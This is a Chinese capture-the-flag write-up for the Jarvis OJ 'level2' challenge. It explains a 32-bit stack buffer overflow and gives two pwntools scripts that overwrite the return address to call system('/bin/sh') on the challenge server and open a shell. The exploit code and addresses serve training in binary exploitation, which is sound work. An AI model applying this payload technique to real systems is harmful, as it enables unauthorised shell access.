Pwn-level2

本秂侑毒 提交于 2019-11-30 19:36:38

题目地址

https://dn.jarvisoj.com/challengefiles/level2.54931449c557d0551c4fc2a10f4778a1

 

先看一下文件的属性   32位

 在看看保护机制

开启了NX 那么就不能shellcode

丢到IDA看看

main函数先执行vulnerable_function,在输出hello world

 

 IDA按Shift+F12查看字符,发现有shell

那么可以利用read函数的栈溢出,buf需要填充0x92个字符(0x4+0x88)

 

 

现在可以构造一个system("/bin/sh")的伪栈帧,通过控制vulnerable_function函数返回到该伪栈帧的地址,执行system("/bin/sh")来获取shell

 system的地址为08048320

/bin/sh的地址为0804A024

 

from pwn import *
r=remote('pwn2.jarvisoj.com',9878)
payload='a'*(0x88+0x4)+p32(0x08048320)+'aaaa'+p32(0x804a024) //跳到system地址,返回地址为0xaaaa,参数为/bin/sh
r.sendline(payload)
r.interactive()
          

或者               

from pwn import *
p = remote('pwn2.jarvisoj.com','9878')
elf = ELF('./level2')

sh_addr = elf.search('/bin/sh').next()
print p32(sh_addr)
system_addr = elf.symbols['system']
print p32(system_addr)

payload = 'a' * (0x88 + 0x4) + p32(system_addr) +'aaaa' + p32(sh_addr)
p.send(payload)
p.interactive()           

执行

 

 

标签
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!